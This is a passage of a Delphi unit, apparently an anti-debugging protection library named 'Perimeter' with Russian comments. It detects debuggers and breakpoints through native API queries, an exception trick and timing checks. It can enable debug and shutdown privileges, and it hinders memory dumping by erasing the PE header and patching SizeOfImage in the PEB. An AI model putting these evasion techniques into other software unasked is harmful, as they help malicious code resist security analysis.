ZwQueryInformationProcess(GetCurrentProcess, ProcessDebugFlags, @NoDebugInherit, SizeOf(NoDebugInherit), nil);
if not NoDebugInherit then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.ZwQIP := True;
EliminateThreat;
end;
// = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
// 2й способ:
ZwQueryInformationProcess(GetCurrentProcess, ProcessDebugObjectHandle, @DebugObjectHandle, SizeOf(DebugObjectHandle), nil);
if DebugObjectHandle <> 0 then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.ZwQIP := True;
EliminateThreat;
end;
// = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
// 3й способ:
ZwQueryInformationProcess(GetCurrentProcess, ProcessDebugPort, @DebugPort, SizeOf(DebugPort), nil);
if DebugPort <> 0 then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.ZwQIP := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// ZwQSI:
if IsNumberContains(PerimeterSettings.CheckingsType, ZwQSI) then
begin
ZwQuerySystemInformation(SystemKernelDebuggerInformation, @KernelDebuggerInfo, SizeOf(KernelDebuggerInfo), nil);
if KernelDebuggerInfo.DebuggerEnabled and (not KernelDebuggerInfo.DebuggerNotPresent) then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.ZwQIP := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// ZwClose:
if IsNumberContains(PerimeterSettings.CheckingsType, ZwClose) then
begin
try
// Пробуем поднять ядерное исключение:
CloseHandle($3333);
except
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.ZwClose := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Засекаем время:
QueryPerformanceCounter(T2);
PerimeterInfo.ElapsedTime := (T2 - T1) / iCounterPerSec;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Проверяем на брейкпоинты:
PerimeterInfo.BreakpointExists := (PerimeterInfo.ElapsedTime > MaximumRunTime) or EmulateBreakpoint;
if PerimeterInfo.BreakpointExists and IsNumberContains(PerimeterSettings.CheckingsType, WINAPI_BP) then EliminateThreat;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Внешняя проверка:
if @PerimeterSettings.OnChecking <> nil then
if PerimeterSettings.OnChecking(PerimeterInfo) then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.External := True;
EliminateThreat;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Формируем сообщение об отладчике:
if PerimeterInfo.DebuggerExists or PerimeterInfo.ROMFailure then
case EmulateDebugger of
TRUE: DebuggerState := DB_EMULATE;
FALSE: DebuggerState := DB_EXISTS;
end
else
DebuggerState := DB_NOT_EXISTS;
// Формируем сообщение о брейкпоинте:
if PerimeterInfo.BreakpointExists then
case EmulateBreakpoint of
TRUE: BreakpointState := BP_EMULATE;
FALSE: BreakpointState := BP_EXISTS;
end
else
BreakpointState := BP_NOT_EXISTS;
// Посылаем сообщение:
PostMessage(PerimeterSettings.MessagesReceiverHandle, PerimeterSettings.MessageNumber, DebuggerState, BreakpointState);
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sleep(PerimeterSettings.Interval);
end;
FillChar(PerimeterInfo, SizeOf(PerimeterInfo), #0);
// Посылаем сообщение об остановке Периметра:
PostMessage(PerimeterSettings.MessagesReceiverHandle, PerimeterSettings.MessageNumber, PM_STOP, PM_STOP);
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function StartPerimeter(const PerimeterStartupData: TPerimeterSettings): Boolean;
var
ThreadID: LongWord;
begin
Result := False;
if Active then Exit;
PerimeterInfo.PrivilegesActivated := False;
{$IFDEF ACTIVATE_DEBUG_PRIVILEGE}
PerimeterInfo.PrivilegesActivated := PerimeterInfo.PrivilegesActivated or NTSetPrivilege('SeDebugPrivilege');
{$ENDIF}
{$IFDEF ACTIVATE_SHUTDOWN_PRIVILEGE}
PerimeterInfo.PrivilegesActivated := PerimeterInfo.PrivilegesActivated or NTSetPrivilege('SeShutdownPrivilege');
{$ENDIF}
PerimeterSettings := PerimeterStartupData;
if IsNumberContains(PerimeterSettings.CheckingsType, LazyROM) then
PerimeterCRC := CalculatePerimeterCRC;
Active := True;
CloseHandle(BeginThread(nil, 0, @PerimeterThread, nil, 0, ThreadID));
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure StopPerimeter;
begin
Active := False;
end;
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
function CalculatePerimeterCRC: LongWord;
begin
Result := CRC32($FFFFFFFF, @PerimeterThread, LongWord(@CalculatePerimeterCRC) - LongWord(@PerimeterThread));
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function GetPerimeterInfo: TPerimeterInfo;
begin
Result := PerimeterInfo;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function GetPerimeterSettings: TPerimeterSettings;
begin
Result := PerimeterSettings;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure SetPerimeterSettings(NewPerimeterSettings: TPerimeterSettings);
begin
PerimeterSettings := NewPerimeterSettings;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function GeneratePerimeterSettings(
CheckingsType: LongWord = ROM or
LazyROM or
ASM_A or
ASM_B or
IDP or
RDP or
WINAPI_BP or
ZwSIT or
ZwQIP or
ZwQSI or
ZwClose;
ResistanceType: LongWord = Notify;
MessagesReceiverHandle: THandle = 0;
MessageNumber: LongWord = PERIMETER_MESSAGE_NUMBER;
Interval: LongWord = 20
): TPerimeterSettings;
begin
FillChar(Result, SizeOf(Result), #0);
Result.CheckingsType := CheckingsType;
Result.ResistanceType := ResistanceType;
Result.MessagesReceiverHandle := MessagesReceiverHandle;
Result.MessageNumber := PERIMETER_MESSAGE_NUMBER;
Result.Interval := Interval;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure ChangeSettings(CheckingsType: LongWord; ResistanceType: LongWord);
begin
PerimeterSettings.CheckingsType := CheckingsType;
PerimeterSettings.ResistanceType := ResistanceType;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure ChangeImageSize(NewSize: LongWord);
asm
mov eax, fs:[30h] // PEB
mov eax, [eax + 0Ch] // PEB_LDR_DATA
mov eax, [eax + 0Ch] // InOrderModuleList
mov dword ptr [eax + 20h], NewSize // SizeOfImage
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure Emulate(Debugger: Boolean; Breakpoint: Boolean);
begin
EmulateDebugger := Debugger;
EmulateBreakpoint := Breakpoint;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure ErasePEHeader;
var
OldProtect: LongWord;
BaseAddress: Pointer;
begin
// Получаем базовый адрес модуля:
BaseAddress := Pointer(GetModuleHandle(nil));
// Даём памяти права на запись:
VirtualProtect(BaseAddress, 4096, PAGE_READWRITE, @OldProtect);
// Чистим заголовок:
ZeroMemory(BaseAddress, 4096);
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
initialization
CRCInit;
Randomize;
FillChar(PerimeterInfo, SizeOf(PerimeterInfo), #0);
FillChar(PerimeterSettings, SizeOf(PerimeterSettings), #0);
end.